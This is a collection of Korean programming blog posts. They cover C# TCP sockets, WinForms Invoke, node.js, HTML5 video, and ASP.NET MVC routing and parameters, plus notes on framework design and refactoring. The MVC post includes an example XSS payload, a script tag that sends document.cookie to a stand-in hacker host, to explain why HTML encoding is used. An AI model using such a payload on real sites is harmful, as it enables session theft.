posted by 방랑군 2012. 1. 6. 22:06
       // 서버 TCP 리스너
        private TcpListener _server = null;
.
.
.
              // TcpListener로 서버 객체를 생성합니다.
                _server = new TcpListener(localHostEntry.AddressList[0], _svrPort);
.
.
.
         // 실제 스레드가 처리되는 메소드
        private void ServerThreadStart()
        {
            // 클라이언트 소켓 객체를 선언합니다.
            Socket clientSocket = null;

            while (!_isStop)
            {
                try { 
                
                    // 서버에 접속된 클라이언트 소켓을 받습니다.
                    clientSocket = _server.AcceptSocket();    //<-- 대기상태
                         : while 돌면서 이부분에서 대기 상태에 있다가 Client에서
                         (TcpClient _tcpClient = new TcpClient(_svrIP, _svrPort);)이 부분을 만나 Connect 하면서 다음
                         줄 명령라인으로 이동된다.

==> 설명 
clientSocket = _server.AcceptSocket();   이 곳에서 주구장창 클라이언트들을 기다린다.
 접속될때마다 각각 클라이언트들은  클라이언트마다 틀린 RemoteEndPoint ( IP :PORT)  즉, 포트만 틀린 종점을 받아
 서로 연결되어 수행이 이루어진다.  이때의 PORT 는 실제(컴퓨터) PORT 가 아닌 가상(SOCKET) PORT 이다.

Connection.LocalEndPoin는 자신의 IP와 Port를 표시하고, 
Connection.RemoteEndPoint는 자신의 LocalEndPoint에 접속된 다른 Socket의 IP와포트를 나타냅니다. 

 LocalEndPoin : 컴퓨터의 IP, PORT
RemoteEndPoint : SOCKET 의 IP, PORT <-- 여러 클라이언트 구별 키.



 
posted by 방랑군 2012. 1. 6. 17:51

1.  // 소켓에 관련된 스레드가 돌고 있으므로 application 스레드와의 충돌을 피하기 위해 델리게이트를 이용 

        // 어플리케이션의 스레드에 포함되기 위해 델리게이트 이용
        public void LogWrite(string msg)
        { 
            // 소켓에 관련된 스레드가 돌고 있으므로 application 스레드와의 충돌을 피하기 위해 델리게이트를 이용합니다.
            LogWriteDelegate deleLogWirte = new LogWriteDelegate(AppendLog);
            // 생성한 델리케이트를 이용하여 invoke를 실행합니다.
            this.Invoke(deleLogWirte, new object[] { msg });
        }

        // 로그를 찍고 스크롤된 위치에 위치하도록 합니다.
        public void AppendLog(string msg)
        {
            try
            {
                txtOutput.AppendText(msg + "\r\n");
                txtOutput.Focus();
                txtOutput.ScrollToCaret();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        } 

2.
private void Form1_Load(object sender, EventArgs e)
{
            Thread t1 = new Thread(new ThreadStart(Listen));
            t1.Start();
} 

public void Listen()
{
            adtx ad = new adtx(textBox1.AppendText);
           
            IPAddress addr = new IPAddress(0);
            TcpListener server = new TcpListener(addr, 5425);
            server.Start();


            Invoke(ad, "서버시작");

            ...

}

 

Listen() 메소드는 별도의 작업자 쓰레드가 실행하는 메소드입니다.

 

즉, Listen() 메소드는 메인 쓰레드가 아닌 다른 쓰레드에서 실행됩니다.

 

그러므로,

 

Listen() 메소드의 코드는 별도의 작업자 쓰레드 상에서 실행되며,

 

메인 쓰레드에서 생성된 컨트롤에는 접근할 수 없습니다.

 

그렇지만,

 

           Invoke(ad, "서버시작");

메소드 호출을 통해, 간접적으로 메인 쓰레드의 컨트롤에 접근할 수 있습니다.

 

위의 문장은

 

           this.Invoke(ad, "서버시작");

다음과 같습니다.

 

여기서, this 참조는 Form 개체를 가리키는 것이지요.

 

별도의 쓰레드에서 메인 쓰레드의 컨트롤에 접근하려면,

 

Form 개체의 Invoke() 메소드를 호출하면 되는 구나~~

 

하고 알고 계시면 되겠습니다. 
posted by 방랑군 2012. 1. 6. 17:33

            // 서버를 실행하는 컴퓨터의 IP를 찾아 종점을 생성합니다.
            IPHostEntry localHostEntry = Dns.GetHostByName(Dns.GetHostName());
posted by 방랑군 2012. 1. 6. 16:40
1. Server

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Net.Sockets;
using System.Net;

namespace NetworkServer
{
    class Program
    {
        static void Main(string[] args)
        {
            //Console.WriteLine("Before Start");
            IPAddress address = IPAddress.Parse("127.0.0.1");
            TcpListener listener = new TcpListener(address, 8010);

            //Console.WriteLine("Before Listener Start");
            listener.Start();

            //Console.WriteLine("Before Accept Socket");
            Socket socket = listener.AcceptSocket();

            ////Console.WriteLine("Before Receive");
            //byte[] myByte = new byte[256];
            //socket.Receive(myByte);

            //string willOut = System.Text.Encoding.Default.GetString(myByte);

            //// 보내기.
            //byte[] wiiSend = System.Text.Encoding.UTF8.GetBytes("Send To Client From Server");

            Encoding utf8 = Encoding.UTF8;
            while (true)
            { 
                // Receive
                byte[] myByte = new byte[256];
                socket.Receive(myByte);

                // Conversion
                string willOut = utf8.GetString(myByte);
                willOut = willOut.Replace("\0", string.Empty);
                Console.WriteLine("Client : " + willOut);

                // Send
                Console.Write("Server : ");
                string willSendString = Console.ReadLine();
                if (willSendString == "EXIT")
                {
                    break;
                }

                byte[] willSend = utf8.GetBytes(willSendString);
                socket.Send(willSend);
            }

            //Console.WriteLine("Before Close");
            socket.Close();
            listener.Stop();
        }
    }
}


2. Client 
 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Net;
using System.Net.Sockets;
using System.IO;

namespace NetworkClient
{
    class Program
    {
        static void Main(string[] args)
        {
            //Console.WriteLine("Before Connect");
            TcpClient tcpClient = new TcpClient();
            tcpClient.Connect("127.0.0.1", 8010);
            Stream stream = tcpClient.GetStream();

            ////Console.WriteLine("Before Get Stream");
            //byte[] myByte = new byte[256];
            //string strLetters = "HWANG SEUNG JAE";
            //myByte = System.Text.Encoding.Default.GetBytes(strLetters);
            //Stream stream = tcpClient.GetStream();

            ////Console.WriteLine("Before Write");
            //stream.Write(myByte, 0, myByte.Length);


            ////받기
            //byte[] willOut = new byte[256];
            //stream.Read(willOut, 0, 256);
            Encoding utf8 = Encoding.UTF8;
            while (true)
            { 
                // Send
                Console.Write("Client : ");
                string myString = Console.ReadLine();
                if (myString == "EXIT")
                {
                    break;
                }

                byte[] myByte = utf8.GetBytes(myString);
                stream.Write(myByte, 0, myByte.Length);

                // Receive
                byte[] willOut = new byte[256];
                stream.Read(willOut, 0, 256);
                string willOutString = utf8.GetString(willOut);
                willOutString = willOutString.Replace("\0", string.Empty);
                Console.WriteLine("Server : " + willOutString);
            }

            //Console.WriteLine("Before Close");
            tcpClient.Close();
        }
    }
}
 
posted by 방랑군 2012. 1. 6. 15:48

1. Server

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Net.Sockets;
using System.Net;

namespace NetworkServer
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Before Start");
            IPAddress address = IPAddress.Parse("127.0.0.1");
            TcpListener listener = new TcpListener(address, 8010);

            Console.WriteLine("Before Listener Start");
            listener.Start();

            Console.WriteLine("Before Accept Socket");
            Socket socket = listener.AcceptSocket();

            Console.WriteLine("Before Receive");
            byte[] myByte = new byte[256];
            socket.Receive(myByte);

            string willOut = System.Text.Encoding.Default.GetString(myByte); 

            Console.WriteLine("Before Close");
            socket.Close();
            listener.Stop();
        }
    }
}


2. Client 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Net;
using System.Net.Sockets;
using System.IO;

namespace NetworkClient
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Before Connect");
            TcpClient tcpClient = new TcpClient();
            tcpClient.Connect("127.0.0.1", 8010);

            Console.WriteLine("Before Get Stream");
            byte[] myByte = new byte[256];
            string strLetters = "HWANG SEUNG JAE";
            //인터넷상에서 스트림 이동은 모두 바이트만 가능합니다. 
            myByte = System.Text.Encoding.Default.GetBytes(strLetters);
            Stream stream = tcpClient.GetStream();

            Console.WriteLine("Before Write");
            stream.Write(myByte, 0, myByte.Length);

            Console.WriteLine("Before Close");
            tcpClient.Close();
        }
    }
}
 
posted by 방랑군 2012. 1. 6. 15:36

출처 :  http://blog.naver.com/lcsco?Redirect=Log&logNo=120136771146 

String -> byte[] 로 변환하는 방법

 

String str = "string test data " ;

byte[] result = System.Text.Encoding.Default.GetBytes( str );

 

 

- byte[] -> String   로 변환하는 방법

byte[]  byte1 = System.Text.Encoding.Default.GetBytes( "byte test data" );

String result = System.Text.Encoding.Default.GetString( byte1 );


 

ps) 상황에 따라 엔코딩 방벙에는 Default, Unicode, UTF8, UTF16, UTF32등으로 사용 할 수 있다 .


posted by 방랑군 2012. 1. 5. 21:28
출처 : http://www.sir.co.kr/bbs/board.php?bo_table=pg_talk&wr_id=3697

 1. node.js 란
- 이건 구글링하면 많이 나오니까..
쉽게 말해서 서버 어플리케이션(웹포함)을 javascript로 만든다는 컨셉입니다.

- 그동안 자바스크립트는 웹브라우져를 컨트롤하는 client side language 였습니다.
특히 웹개발자에 서버개발은 어려운것으로 인식되어 왔습니다.
그에 반에 자바스크립트는 웹개발자에게 친숙한 언어죠.
웹개발에게 친숙한 자바스크립트 언어를 이용하여 서버프로그램을 개발하자는것
그것이 바로 node.js 입니다.
ps) 그래서 향후 5년간은 자바스크립트가 대세가 될거라고 봅니다.
한가지 언어로 서버-클라이언트를 모두 아우르게 됩니다.
첨언하자면, noSQL(이건 따로 정리해보겠음) 에서도 자바스크립트로 된것이 있습니다. couchDB
결국, 서버, DB, 클라이언트(웹) 3가지를 한가지 언어로 컨트롤 할수 있게 됩니다.
자바스크립트만 할줄 알면, 개발자 대우 받을수 있는거죠.
- 제가 본 사이트는
1) http://nodejs.org/
: 공식 사이트니까 반드시 방문해서 이것저것 봐야함
2) http://nodeguide.com/ (
: 공식 사이트는 아닌것 같은데, 기초에 대한 정리는 여기가 깔끔함
이렇게 개발하는게 좋다라는 식의 개발 가이드를 해줍니다. 필독!!
3) http://www.slideshare.net/rockdoli/what-is-nodejs-6751599
: slideshare.net 엔 정리된 프리젠테이션 자료들이 많습니다.
링크 문서와 연관된 node.js 자료들도 많으니 시간되시면 읽어보세요.
워낙 깔끔하게 정리해놓은 자료들이라 영어라도 별문제 없음
4) http://nodecasts.org/
: 동영상강의...

2. 준비사항
- node.js 는 이를 해석해주는 node 라는 실행파일이 있습니다.
기존에는 리눅스 계열만 배포했는데, 현재는 윈도우 계열도 배포합니다.(아 개발하기 편한 세상)
- 다운로드와 기본 사용법은 nodejs.org에서 참조바람




* 참고
1. ubuntu 11.x 에서 node 설치 (쉘에서 그냥 node 쳐보면 됨..아 쉽다.)
merong@ubuntu:~$ node
The program 'node' can be found in the following packages:
* node
* nodejs
Try: sudo apt-get install <selected package>
merong@ubuntu:~$ 

'PP > Node.js' 카테고리의 다른 글

자료 사이트 : step by step..  (0) 2012.01.07
node.js를 서비스에 활용하는 회사들.  (0) 2012.01.05
posted by 방랑군 2012. 1. 5. 21:24
출처 : http://cafe.naver.com/cloudfrontier.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=191&

최근에 node.js에 관심을 가지면서 그 활용에 대한 예를 찾아보고 싶었습니다.

그러던 중에 node.js를 사용하는 회사들에 대한 아티클를 보게 되었습니다. (보기 : http://goo.gl/o39pD)
Yammer가 눈에 들어오네요. 역시, 많이 알려진 회사이기 때문이겠죠.
Yammer는 node.js를 proxy로 사용한다는 구문이 있네요. cross domain을 위한 방법이 기존에도 있었지만 (참고, Always Renewal 블로그) 이벤트 기반의 non-blocking 환경에 세션에 대한 리소스 비용을 적게 이용하는 node.js는 정말 proxy와 같은 환경에는 최적이라는 생각이 듭니다.
다른 회사들은 어떨까요? 트윗에 대한 필터링 크롬 익스텐션을 제공하는 Proxlet의 경우는 noSQL인 mongoDB와 node.js를 사용하네요. 특히, 속도에 집중하는 mongoDB와도 node.js는 찰떡궁합일 듯 합니다.

위에서 볼 수 있듯이 node.js의 장점은 분명 존재합니다. 단점으로 지적되는 아직 어린 환경을 극복하고 다양한 기능과 확장을 제공한다면 최근과 같이 서비스에 접근하는 단말이 기하급수적으로 늘어나는 환경에서 node.js는 상당히 선전을 할 수 있을 것이라고 생각되네요.

주.
proxy는 두가지 방식이 있습니다.
forward-proxy라고 불리는 방식과 reverse-proxy라고 불리는 방식입니다.
forward-proxy는 우리가 일반적으로 알고 있는 proxy방식으로 사용하는 단말에 proxy 서버를 설정하면 해당 서버를 통해 목적지로 이동하는 방식입니다.
reverse-proxy의 경우는 사용자는 아무 설정도 없지만 사용자가 proxy를 목적지로 알고 접근하면 그 사용자에 맞는 동작을 하는 진짜 목적지에서 정보를 받아서 반환하는 역할을 합니다.
proxy를 사용하는 다양한 이유가 있지만 익명성도 하나의 목적 중에 하나 입니다. 그런 측면에서는 최근에는토르 프로젝트라는 것이 있네요. 아직 정확하게 이해는 하지 못했지만 네트워크에 운영되는 시스템에 익명성을 줄 수 있는 프로젝트이고, 중국 등과 같이 검열이 심한 국가를 위해 지원도 하고 있다고 합니다.

 

'PP > Node.js' 카테고리의 다른 글

자료 사이트 : step by step..  (0) 2012.01.07
node.js 개발하기 STEP 0. 준비  (0) 2012.01.05
posted by 방랑군 2012. 1. 5. 19:02

 왠지 안쓸거 같더라니....


  • 방랑이 2012/01/04 21:10답글
    http://○○.com/컨트롤러명/액션명
    접근 방법 알수 있을까요? 참조 사이트라도.. 즉 url 을 위 처럼 쳤을때(http://localhost:14577/Rint/test2) 어떻게 
    Controllers/RintController.cs 의 test2 로 접근하게 되는지 알고 싶어요..
  • 린트 2012/01/04 21:51답글
    프로젝트 내의 파일 중 global.asax가 있을 것입니다.
    여기 보시면 RegisterRoutes() 메서드가 있습니다.
    URL 요청이 오면 RegisterRoutes() 메서드에서 등록한 형태를 찾아 직접적으로 쓰레드를 나누어 실행하게 됩니다. 'ㅂ' ㅎㅎ
  • 방랑이 2012/01/05 00:01답글
    그럼, mvc3 프로젝트가 아니더라도 일반 webapplication 이나 website 에서 global.asax 를 구현해 주고 controllers 만 따로 빼서 구현이 가능 한가요? 잠시 그 부분만 빼서 해당 어셈블을 참조하여 테스트 해보니 안되서요... 이 메카니즘만 따로 가질수 는 없는 건가요?
  • 린트 2012/01/05 00:05답글
    넹 기술을 MS가 숨기고 있으므로 별도로 빼서 볼 수는 없습니다ㅇㅂㅇㅎㅎ

'PP > ASP.NET MVC' 카테고리의 다른 글

[ASP.NET MVC3] 5. Controller의 기본 (2) 매개 변수 처리  (0) 2012.01.05
ASP.NET MVC3 - Razor 문법  (0) 2012.01.04
posted by 방랑군 2012. 1. 5. 00:24

vidia video element

현재 우리가 동영상을 접하게 되는 웹상의 플레이어들 (유튜브, 다음, 티스토리 등등) 의 대부분은 플래쉬 기반 포맷을 제공합니다

우리가 흔히 말하는 플짤도 플레쉬 짤방의 준말이죠, 그만큼 플래쉬를 이용한 동영상 플레이어가 차지하는 비중이 지대하다 할 수 있습니다

지금까지 동영상을 웹상에 적용하기 위해 object 나 embed 를 사용하여 플래쉬 또는 미디어플레이어 와 같은 플러그인을 이용해 왔는데

HTML 5 에서의 video 태그는 네이티브 태그로서 별도의 외부 프로그램의 도움없이 독립적인 방식으로 동영상을 재생하게 됩니다

동영상 플레이를 이유로 이유로 억지로 설치해야만 했던 액티브X와 같은 프로그램이나 플로그를 더이상 설치할 필요가 없다는 소리죠

HTML 5 에서 이와같은 태그를 선보인것은 보다 웹표준에 맞는 그에 근거하는 마크업을 위한 새로운 시도가 아닐까 합니다

우리나라의 경우는 다른 나라보다 플래시의 사용빈도가 현저히 월등한 수준이나 외국의 경우 플래시 기능을 지향하고

웹표준에 맞추어 이미지나 플래시 보다는 웹표준에 맞는 시멘틱 마크업을 적용해 나가고 있습니다

우리나라에서도 조금씩 웹표준에 맞는 마크업을 시도하는 추세로 HTML 5 이 나옴과 동시에

보다 명확한 웹표준 마크업을 위해 발전해 나가고 있다고 생각합니다

1 video

액티브X나 <embed>,<object>의 사용없이 간편하게 동영상을 재생할 수 있는 기능으로

기본적인 비디오 엘리먼트의 속성 및 값은 다음과 같습니다

속성 (Attribute)

값 (Value)

설명 (Description)

N controls

Boolean (true/false)

각 브라우저 고유의 컨트롤 바를 표시

N autoplay

Boolean (true/false)

동영상 파일이 로드되는 즉시 자동으로 재생

N loop

Boolean (true/false)

동영상 재생이 끝나면 처음부터 다시 반복, 반복 재생 획수 지정

N src

URL

동영상 파일의 경로를 지정

N poster

IMG URL

재생할 동영상이 로드 중이거나 버퍼링 중일때 보여질 이미지

N preload

Auto,

None,

Metadata

동영상 파일을 다운로드하여 재생하게끔 하는 방식

auto - 자동으로 다운로드

none - 사용자가 컨트롤을 조작하지 전까지 다운금지

metadata - 메타데이터를 가져오며 사용자가 컨트롤을 조작하면 실제 비디오 부분을 다운

N width

Pixels

재생할 동영상의 가로(넓이) 크기

N height

Pixels

재생할 동영상의 세로(높이) 크기

N 아이콘으로 표시된 항목은 HTML5부터 추가된 속성(애트리뷰트)들 입니다.


다음은 HTML 5 를 사용함에 있어 아직 해결하지 못한 코덱에 관한 문제들입니다


브라이저 (Browser)

H.264 + AAC + MP4

WebM

Theora + Vorbis + Ogg

파이어폭스 3.6

오페라 10.63

구글 크롬 8.0

애플 사파리 5.0.3 (with 쿽타임)

마이크로 소프트 익스 9 beta


브라우저마다 사용하는 코덱은 다음과 같습니다


브라이저 (Browser)

코덱 (Codec)

Microsoft + Apple

H.264 Codec

Firefox + Opera

Ogg Theora Format

Google

VP8 Video Codec

현재 주 대표 브라우저들이 자체 비디오 코덱을 사용하고 있기때문에 그야말로 표준 코덱이 존재하지 않습니다

하여 각 브라우저마다 사용하는 비디오 코덱이 다릅니다 video 태그가 생겨났다고 해도 코덱에 관한 문제가 아직도 남아있다는 말이 됩니다

2 기본적인 비디오 태그 작성법

<video src="동영상 URL" preload="false" width="480" height="360"></video>

여기서 중요한 점은 각 크로스브라우저의 비디오 태그의 사용법에 대한 내용입니다

말씀드렸듯이 각 브라우저마다 사용하는 코덱이 다르기 때문에 각 브라우저에 맞는 태그를 사용하셔야 합니다

<!DOCTYPE HTML>
<html lang="ko">
<head>
<meta charset="UTF-8">
<title>HTML 5 Video 예제</title>
</head>
<body>
<video width="320" height="240" controls="controls">
<source src="http://www.w3schools.com/html5/movie.mp4" type="video/mp4" /> <!-- Microsoft + Apple -->
<source src="http://www.w3schools.com/html5/movie.webm" type="video/webm" /> <!-- Google -->
<source src="http://www.w3schools.com/html5/movie.ogg" type="video/ogg" /> <!-- Firefox + Opera -->
<p>Your browser does not support the video tag.</p>
</video>
</body>
</html>

[★] 알아두면 유용한 사이트 HTML5 Video elements

http://videojs.com
http://www.html5video.org
http://www.diveintohtml5.org/video.html



'PP > HTML5' 카테고리의 다른 글

HTML5 가이드  (0) 2012.01.04
HTML5 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 5. 00:06

출처 : http://blog.naver.com/empty_wagon?Redirect=Log&logNo=20147480185 

강에서 ASP.NET MVC의 주소는 다음과 같은 스타일로 된다고 말씀을 드렸었습니다.

 

컨트롤러 이름/함수 이름/id?param=value

 

이제 이 id와 id 뒤에 '?'로 시작하는 내용들에 대해서 이야기를 하도록 하겠습니다.

 

 

어디서 이런 주소 방식이 정해졌을까?

 

위의 주소 형식은 Global.asax 파일에 아래와 같은 코드로 정의되어 있습니다.

 

public static void RegisterRoutes(RouteCollection routes)

{

    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

 

    routes.MapRoute(

        "Default"// Route name

        "{controller}/{action}/{id}"// URL with parameters

        new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults

    );

 

}

 

진하게 표시한 줄에 보시면 익숙한 내용이 보이실 것입니다. 이 부분을 수정하면, 주소 방식을 마음대로 고칠 수 있습니다. 이 부분에 대해서는 나중에 알아보겠습니다.

 

 

그냥 값 넣어 보기

 

우선은 그냥 값을 넣어 봤습니다.

 

주소창에 localhost:port/Home/Hello/1을 입력해 보았습니다. 딱히 큰 문제가 없이 잘 나옵니다.

 

 

하지만 이런 주소 방식을 선택한 것은 1이라는 숫자를 활용하기 위해서입니다. 이제 1이 들어왔음을 확인해 주기 위해 Hello 함수를 변경하겠습니다.

 

public string Hello(int id)

{

    return "Hello function with id " + id;

}

 

이제 다시 위 주소를 실행하면, 다음과 같이 잘 나옵니다.

 

그런데 이 때 함수를 변경해 주지 않고, 그냥 오버라이딩했으면 어떤 일이 벌어졌을까요?

 

다음과 같은 에러 창을 만나게 됩니다.

 

 

Hello 함수가 두 개인데다가, id는 없어도 되는 변수라서 무슨 함수 불러야 할 지 모르겠다는 뜻입니다.

 

그럼 id가 없을 때에는 기존의 "Hello, HomeController Hello function!"을 출력해 주고, 있을 때에는 "Hello function with id [숫자]"임을 알려 주려면 어떻게 해야 할까요?

 

다음과 같이 int 뒤에 ?를 붙여 주시면 됩니다. 이 때 id에 값이 없으면 id에 null이 들어가게 됩니다.

 

완성된 함수는 다음과 같이 생겼습니다.

 

public string Hello(int? id)

{

    if (id == null)

    {

        return "Hello, HomeController Hello function!";

    }

    return "Hello function with id " + id;

}

 

 

없을 때와 있을 때가 다 각각 잘 나옵니다.

 

 

변수 여러 개 주기

 

id 뒤에도 원하는 정보를 붙이실 수 있습니다.

 

?를 추가해서 원하는 정보를 줄 수 있습니다.

 

우선 Hello함수를 아래와 같이 변경합니다.

 

public string Hello(int? id, string param)

{

    string result = "";

    if (id == null)

    {

        result = "Hello, HomeController Hello function!";

    }

    else

    {

        result = "Hello function with id " + id;

    }

 

    if (param != null)

    {

        string paramString = "param is " + param;

        result += " " + paramString;

    }

 

    return HttpUtility.HtmlEncode(result);

}

 

param이라는 문자열 형의 변수가 추가되었고, param의 내용을 결과에 추가해 주고 있습니다. 그리고 HttpUtility.HtmlEncode라는 함수를 쓰고 있는데 이 함수에 대해서는 강좌 끝부분에서 이야기하겠습니다.

 

주소를 쳐 보면 잘 나옵니다.

 

param을 없애도 잘 됩니다.

 

id를 없애도 잘 됩니다.

 

http://localhost:50373/Home/Hello?param=hello&odd=oddvalue 같이 이상한 주소를 줘도 잘 처리합니다.

 

 

HTTPUtility.EncodeHtml이 뭔가요?

 

웹에는 보안의 문제가 참 많이 있습니다. 대개의 경우 공격자는 만든 사람이 예상하지 못하는 이상한 값을 넣어서 자신이 원하는 결과를 얻고자 합니다.

 

이 원하는 결과를 위해서 입력 값에 코드를 집어 넣습니다. 지금 우리 param 값에도 JavaScript 코드가 들어갈 수 있습니다. 예를 들자면 다음과 같은 것입니다.

 

<script> document.location='http://hacker.web.site/cookie.php?' + document.cookie</script>

 

이 문서의 쿠키를 빼 가는 코드입니다. Cookie가 인증과 관련이 깊을 경우에는 이 쿠키를 빼 가서 심한 경우에는 관리자 노릇을 할 지도 모르는 일입니다.

 

이 때 이 <> 값을 ;lt, ;gt등으로 바꿈으로써 이런 공격을 막기 위해HTTPUtility.EncodeHtml을 사용합니다.

 

 

복습 문제

 

Hello 함수가 param2라는 값을 받아서 처리할 수 있도록 만드시오.

 

'PP > ASP.NET MVC' 카테고리의 다른 글

지랄 같은 MVC  (0) 2012.01.05
ASP.NET MVC3 - Razor 문법  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:38
posted by 방랑군 2012. 1. 4. 13:37

본 내용은 월간 마소 2009년 05월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.


캐즘(chasm)

  • 캐즘 : 활발히 활용되기전의 과도기 시점, 정체 또는 후퇴되는것처럼 느껴지는 진행 단절 현상
  • 프레임워크 학습시 캐즘
    • 프레임워크는 도메인 문제 해결을 위한 코드구조, 디자인이 포함
    • 일반적 App 개발과는 다르게 도메인 문제를 프레임워크 구조에서 해결해야함

프레임워크 구현시 주의사항

  • Hot spots와 Frozen spots를 구분할것
  • 공통적인 부분은 프레임워크 내부에서
  • 가변적인 부분은 App마다 달라지므로, 초기화 부분의 파라미터 등을통해 기능 접근을 할 수 있도록 구현
  • 가변적인 부분을 프레임워크 내에 모두 포함할 수 없다면, 가상함수의 특징인 훅 메스드 형태로 제공하여 커스트마이징 할 수 있도록 구현

라이브러리 vs 프레임워크

  • 라이브러리 : App에서 구현하기 위해 라이브러리 호출
  • 프레임워크 : 프레임워크에서 의도하는 구조로 App이 흐름

프레임워크 이해를 위한 패턴언어

  • 1) 프레임워크 선택하기
  • 2) 프레임워크를 이용한 프로젝트 레퍼런스 만들기
  • 3) 프레임워크 발전시키기
  • 4) 프레임워크 학습
  • 5) 사용 경험의 보전 방법
  • 6) 애플리케이션 도메인의 이해
  • 7) 프레임워크 아키텍처의 이해
  • 8) 프레임워크 내부 디자인의 이해
  • 9) 프레임워크 코드의 이해

1) 프레임워크 선택하기

  • 도메인 분석작업
  • 프레임워크 기능 분석작업
  • App 개발기간과 배우는 비용도 고려햐야함.
  • 화이트박스/블랙박스/그레이박스 프레임워크
    • 화이트박스 : hot spots의 커스트마이징을 위해 상속과 동적바인딩을 사용, 프레임워크 개발은 쉽지만 App 개발자가 프레임워크 내부를 잘 알아야
    • 블랙박스 : hot spots의 커스트마이징을 위해 인터페이스를 사용. App 개발자는 인터페이스를 구현하고 프레임워크에 던져줌. 프레임워크 개발시 인터페이스 미리 정해둬야함
    • 그레이박스 : 일반적인 방법. 화이트+블랙 적절히..
  • 예제) 루비 온 레일즈 : App 구현기간이 짧아야 할 경우 미리 충분히 갖춰진 프레임워크

사용자 삽입 이미지


2) 프레임워크를 이용한 프로젝트 레퍼런스 만들기

  • 프레임워크 : 도메인에 특화된 문제를 해결하는 뼈대
  • 적당한 예제단위로 레퍼런스를 구축한다면 효율성이 높음

3) 프레임워크 발전시키기

  • 프레임워크 개발자는
    • 도메인 적용되고 나타나는 문제를 해결하여 다시 프레임워크에 반영해야
    • 변경되는 HW, OS에 맞게 발전시켜야
    • 소프트웨어 전문가 겸 도메인 전문가여야 함.

4) 프레임워크 학습

  • App는 시작지점이 존재하지만, 프레임워크는 시작점이 없다.
  • 프레임워크 분석 방법
    • Top-down(하향식) : 추상화 레벨에서 분석 시작 (큰 그림 잡고 -> 목적을 파악하고 -> 구현부에서 파악)
    • Bottom-up(상향식) : 세부구현에서 분석 시작
    • 대체로 하향식이 분석이 편함 (반드시는 아님)

5) 사용 경험의 보전 방법

  • 프레임워크로 App에 적용 반복하다 보면, 사용법/주의사항/노하우 등이 쌓임. 이런것들은 보존해야함.
  • 프레임워크 사용경험을 문서화시키고, 실전코드들을 레퍼런스나 케이스로 정리할것

6) 애플리케이션 도메인의 이해

  • 프레임워크가 App에서 구현할 문제를 해결할 수 있는 범위 파악하는 것이 중요

7) 프레임워크 아키텍처의 이해

  • 프레임워크 기반 App는 프레임워크 의도에 따라 App 구조가 바뀐다. --> 프레임워크는 App에 직접적 영향 미침
  • 프레임워크 구조를 파악하면 구현체 재사용이 용이하고, 컴포넌트 관계를 이해하기 좋다 --> 빠르고 정확한 프레임워크 사용 가능
  • 프레임워크 아키텍처를 구성하는 패턴들을 도식화 --> 구조 파악에 도움이 됨
  • 문서화시 필요하면 리버스 엔지니어링 툴의 도움을 받을것

8) 프레임워크 내부 디자인의 이해

  • App이 도메인 문제를 유연하게 풀어나가기 위해서는 프레임워크 내부 디자인이 확장성 있고 유연한지에 달렸음.
  • 프레임워크가 복잡하다고 느끼는 것은 내부 디자인이 복잡해서임. 프레임워크 이해를 잘하면 사용도 잘할수 있음.
  • 내부 디자인 살펴볼때는
    • 디자인 패턴 선행학습 필요
    • 화이트박스인지 블랙박스인지 파악할것
    • Hot spots, Frozen spots 파악할것
    • 구성하는 컴포넌트 관계를 파악할것

9) 프레임워크 코드의 이해

  • 프레임워크 개발자는 경험이 많고 높은 프로그래밍 실력이 대부분
  • 프레임워크 개발자의 코드는 후배들의 본보기가 되므로 잘 짜라


posted by 방랑군 2012. 1. 4. 13:36

본 내용은 월간 마소 2009년 03월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.


프레임워크 리팩토링

  • 리팩토링?
    • 결과의 변경없이 코드의 구조를 재조정
    • 암튼 수정한다는 뜻임
  • 언제할까?
    • 너무 늦으면 리팩토링할 수 없을 지경이 될수도 있음
    • 습관적으로 자주 리팩토링하는게 좋을듯
    • 2개 함수 이상일 경우 함수끼리 상호작용이 일어날때..
    • 욕심쟁이 알고리즘(현재꺼만 최선을 다함)과 비슷
  • 어떤거?
    • 리팩토링은 습관이다. 뭘할지가 중요한건 아님.
    • 2개의 객체가 양방향이라면, 단방향으로 바꾸자, 필요한 놈만 Get/Set
    • Object같은걸로 리턴하지 말고, 특정객체로 리턴하자
    • 복잡한 if문 제거, 메소드로 빼라
    • 너무 간단한 함수들은 합쳐라
    • 함수 내부의 if가 너무 복잡하면 return을 여러번 사용
    • 부정의 부정을 읽기는 어렵다
  • 모듈단위의 리팩토링이 중요


 

애플리케이션 프레임워크 설계 원칙과 리팩토링

  • 설계원칙
  • 프레임워크가 제공할 가치
    • 확장성 및 범용성
    • 고성능
    • 아키텍처 가변성 지원
    • 개발 생산성 향상
    • 설정 편의성
    • 시스템 통합 일관성
    • 테스트 용이성
    • 정책 가변성 지원


프레임워크 리팩토링

  • 리팩토링 검증방법 : 회귀테스트
    • 버그가 없을것 : 수정전 테스트 케이스가 정상실행되어야 함
    • 기존 기능의 변경이 없을것
    • 리팩토링 이전 테스트 환경을 기억하기 위해서도 테스트 기반 리팩토링이 좋다.
  • 테스트 케이스 작성 과정 및 이슈
    • 테스트 대상 클래스 선정
      • 테스트 대상 제외 : DTO클래스, 인터페이스, 추상클래스
      • 비지니스 로직이 포함된 메소드를 가진 추상클래스는 이를 상속한 별도의 Mock객체를 사용하여 테스트 할것
    • 테스트 대상 메소드 선정
      • 제외 : setter/getter메소드, private메소드, static메소드(유틸성), static방식으로 다른 클래스의 API를 호출하는 메소드
    • 테스트 시나리오 선정 준비
      • 메소드에 담긴 비지니스 로직을 이해
      • 메소드에 포함된 고객의 요구사항을 추출
      • 메소드를 작성한 개발자의 의도 파악
  • 테스트 시나리오 작업
    • 테스트 클래스 역할 파악
    • 메소드 역할 파악
